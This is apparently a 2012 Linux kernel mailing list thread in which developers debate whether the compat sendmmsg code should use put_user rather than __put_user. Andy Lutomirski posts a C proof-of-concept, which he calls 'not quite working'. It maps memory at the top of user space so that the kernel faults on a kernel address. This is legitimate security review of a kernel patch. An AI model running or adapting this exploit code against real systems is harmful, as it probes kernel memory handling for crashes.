sendmmsg: put_user vs __put_user

sendmmsg: put_user vs __put_user

[Ulrich Drepper]

Shouldn't the compat code in the sendmmsg implementation use the same
code as the normal code?  In which case you probably want something
like this:

diff --git a/net/socket.c b/net/socket.c
index 484cc69..ff40409 100644
--- a/net/socket.c
+++ b/net/socket.c
@@ -2064,7 +2064,7 @@ int __sys_sendmmsg(int fd, struct mmsghdr __user
*mmsg, unsigned int vlen,
                                            &msg_sys, flags, &used_address);
                        if (err < 0)
                                break;
-                       err = __put_user(err, &compat_entry->msg_len);
+                       err = put_user(err, &compat_entry->msg_len);
                        ++compat_entry;
                } else {
                        err = __sys_sendmsg(sock, (struct msghdr __user *)entry,

Re: sendmmsg: put_user vs __put_user

[David Miller]

From: Ulrich Drepper <drepper@gmail.com>
Date: Fri, 30 Mar 2012 09:36:11 -0400

> Shouldn't the compat code in the sendmmsg implementation use the same
> code as the normal code?  In which case you probably want something
> like this:

Compat processes are not able to generate virtual addresses anywhere
near the range where the kernel resides, so the address range
verification done by put_user() is completely superfluous and
therefore not necessary.  The normal exception handling done by the
access is completely sufficient.

Re: sendmmsg: put_user vs __put_user

[Ulrich Drepper]

On Fri, Mar 30, 2012 at 20:51, David Miller <davem@davemloft.net> wrote:
> Compat processes are not able to generate virtual addresses anywhere
> near the range where the kernel resides, so the address range
> verification done by put_user() is completely superfluous and
> therefore not necessary.  The normal exception handling done by the
> access is completely sufficient.

I was more thinking about the effects of might_fault() then additional tests.

Re: sendmmsg: put_user vs __put_user

[David Miller]

From: Ulrich Drepper <drepper@gmail.com>
Date: Sat, 31 Mar 2012 08:30:25 -0400

> On Fri, Mar 30, 2012 at 20:51, David Miller <davem@davemloft.net> wrote:
>> Compat processes are not able to generate virtual addresses anywhere
>> near the range where the kernel resides, so the address range
>> verification done by put_user() is completely superfluous and
>> therefore not necessary.  The normal exception handling done by the
>> access is completely sufficient.
> 
> I was more thinking about the effects of might_fault() then additional tests.

This is very clearly in a context where locks are not held and sleeping
would be fine, so I don't see any value in that either.

Re: sendmmsg: put_user vs __put_user

[Andy Lutomirski]

On 03/30/2012 05:51 PM, David Miller wrote:
> From: Ulrich Drepper <drepper@gmail.com>
> Date: Fri, 30 Mar 2012 09:36:11 -0400
> 
>> Shouldn't the compat code in the sendmmsg implementation use the same
>> code as the normal code?  In which case you probably want something
>> like this:
> 
> Compat processes are not able to generate virtual addresses anywhere
> near the range where the kernel resides, so the address range
> verification done by put_user() is completely superfluous and
> therefore not necessary.  The normal exception handling done by the
> access is completely sufficient.

I disagree.  The following exploit causes a bogus page fault to a kernel
address.  I think this isn't exploitable right now on x86-64 because the
page fault handler fixes it up, but I wouldn't be surprised if this
crashes or at least warns on some architecture.  (Actually trashing
kernel memory is probably impossible with this on x86-64 chips because
this can only overrun user space by four bytes, and there's a giant gap
of impossible addresses above user space in x86-64.

Compile as 64 bit code.  Tested by instrumenting the page fault handler.

/* Not quite working exploit.  Copyright (c) 2012 Andy Lutomirski. */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdio.h>

#define COMPAT_MSGHDR_SIZE 28
#define TASK_SIZE_MAX	((1UL << 47) - 4096)
#define MSG_CMSG_COMPAT 0x80000000

int main()
{
	int s;
	struct sockaddr_in addr;
	struct msghdr *hdr;

	char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
	                      PROT_READ | PROT_WRITE,
	                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
	                      -1, 0);
	if (highpage == MAP_FAILED) {
		perror("mmap");
		return 1;
	}

	s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (s == -1) {
		perror("socket");
		return 1;
	}

        addr.sin_family = AF_INET;
        addr.sin_port = htons(1);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
		perror("connect");
		return 1;
	}

	void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
	printf("Evil address is %p\n", evil);

	// Purely for illustration.
	if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) {
		perror("sendmsg");
		return 1;
	}
	memset(highpage, 0, 4096);
	{
		int tmp;
		socklen_t sz;
		getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz);
	}

	if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) {
		perror("sendmmsg");
		return 1;
	}

	return 0;
}

Re: sendmmsg: put_user vs __put_user

[David Miller]

From: Andy Lutomirski <luto@mit.edu>
Date: Thu, 05 Apr 2012 17:14:25 -0700

> On 03/30/2012 05:51 PM, David Miller wrote:
>> From: Ulrich Drepper <drepper@gmail.com>
>> Date: Fri, 30 Mar 2012 09:36:11 -0400
>> 
>>> Shouldn't the compat code in the sendmmsg implementation use the same
>>> code as the normal code?  In which case you probably want something
>>> like this:
>> 
>> Compat processes are not able to generate virtual addresses anywhere
>> near the range where the kernel resides, so the address range
>> verification done by put_user() is completely superfluous and
>> therefore not necessary.  The normal exception handling done by the
>> access is completely sufficient.
> 
> I disagree.  The following exploit causes a bogus page fault to a kernel
> address.  I think this isn't exploitable right now on x86-64 because the
> page fault handler fixes it up, but I wouldn't be surprised if this
> crashes or at least warns on some architecture.  (Actually trashing
> kernel memory is probably impossible with this on x86-64 chips because
> this can only overrun user space by four bytes, and there's a giant gap
> of impossible addresses above user space in x86-64.

I can guarentee this doesn't do anything on sparc64 either because
userspace is completely segregated from kernel space in a way that
every single foo_user() call cannot access kernel space no matter
what address it can trick into being passed there.

I still really don't see an issue with this, sorry.